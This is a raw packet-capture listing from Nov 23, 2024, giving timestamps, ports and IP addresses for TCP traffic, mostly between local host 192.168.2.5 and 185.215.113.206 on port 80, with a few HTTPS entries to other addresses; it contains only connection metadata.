Nov 23, 2024 01:14:29.770232916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.770488977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.770503998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.770539999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.770700932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.770749092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.771440029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.771478891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.771642923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.771924973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.772183895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.772469044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.773391008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.773406029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.773417950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.773456097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.773655891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.774122000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.775043011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.775090933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.775126934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.775141001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.775165081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.775193930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.776056051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.776423931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.776433945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.776493073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.777070045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.777327061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.777369976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.777992010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.778048038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.778995037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.779006958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.779014111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.779056072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.779083967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.779941082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.780003071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.780781031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.780869007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.780941963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.780955076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.780983925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.780997038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.781857967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.781924009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.782886028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.782897949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.782911062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.782947063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.782979965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.783824921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.783870935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.784323931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.784370899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.784787893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.784964085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.785032034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.785078049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.785759926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.785801888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.786421061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.786703110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.786716938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.786804914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.787677050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.787725925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.787734032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.787746906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.787786007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.788647890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.788691998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.788969040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.789419889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.789633036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.789645910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.789697886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.790587902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.790698051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.790754080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.790894985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.791605949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.791619062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.791656017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.792537928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.792747021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.792747974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.792983055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.793505907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.793561935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.793797016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.793906927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.794473886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.794517994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.794652939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.794733047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.795447111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.795506954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.795881033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.795970917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.796422005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.796536922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.796619892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.797389030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.797465086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.797696114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.797889948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.798341036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.798391104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.799364090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.799376965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.799390078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.799422979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.799458981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.800307989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.800436020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.800606966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.800813913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.801242113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.801284075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.801778078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.801825047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.802241087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.802253008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.802285910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.802305937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.803206921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.803498030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.803563118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.804153919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.804217100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.804265022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.805151939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.805224895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.805278063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.806157112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.806169987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.806210041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.807152033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.807164907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.807214022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.808044910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.808094978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.808423996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.808629990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.808995962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.809053898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.809185982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.809235096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.809962034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.810009003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.810015917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.810071945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.810941935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.811094046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.811136961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.811903000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.811964035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.811988115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.812096119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.812971115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.812983036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.813021898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.813040018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.813868999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.813883066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.813930035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.814851046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.814863920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.814904928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.814944983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.815802097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.815815926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.815864086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.816777945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.816822052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.816824913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.816984892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.817759991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.817773104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.817806005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.817817926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.818722963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.818736076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.818783998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.819782972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.819797039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.819833040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.819844961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.820635080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.820771933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.820795059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.820806026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.821594954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.821635008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.821768045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.821815968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.822586060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.822599888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.822635889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.822664976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.823513985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.824433088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.864919901 CET	443	49828	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:29.867144108 CET	49828	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:29.867161036 CET	443	49828	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:29.867475986 CET	443	49828	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:29.903496027 CET	443	49821	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:29.905539989 CET	49828	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:29.905734062 CET	443	49828	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:29.905850887 CET	49828	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:29.905869007 CET	49828	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:29.905875921 CET	443	49828	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:29.952565908 CET	49821	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:29.971344948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.971568108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.971576929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.971748114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.971868992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.971883059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.971914053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.972814083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.972954035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.972999096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.973777056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.973908901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.973968029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.974733114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.974786043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.975711107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.975761890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.975810051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.976452112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.976685047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.976702929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.976771116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.977698088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.977710962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.977722883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.977750063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.977773905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.978631020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.978876114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.978909016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.979121923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.979568958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.979623079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.979711056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.979763031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.980557919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.980624914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.980923891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.980969906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.981540918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.981789112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.981796980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.981832981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.982503891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.982572079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.983481884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.983494997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.983506918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.983539104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.983563900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.984433889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.985413074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.985424995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.985436916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.985496044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.985512018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.986352921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.986423016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.987257004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.987358093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.987370014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.987405062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.987437963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.988300085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.988368034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.988574028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.988651991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.989279032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.989681959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.989746094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.990231991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.990408897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.990470886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.991204023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.991250992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.992166042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.992218971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.992250919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.992263079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.992424965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.993144035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.993329048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.993379116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.994107008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.994764090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.994832039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.995069981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.995462894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.995513916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.996054888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.996412992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.997050047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.997061014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.997077942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.997117996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.997129917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.997998953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.998042107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.999017954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.999030113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.999041080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.999072075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.999095917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.999980927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.000024080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.000262976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.000416040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.000894070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.001791000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.001840115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.001904011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.001914978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.001956940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.002897024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.002909899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.003856897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.003870010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.003911018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.003941059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.004846096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.004859924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.004951954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.005808115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.005820990 CET	80	49760	185.215.113.206	192.168.2.5
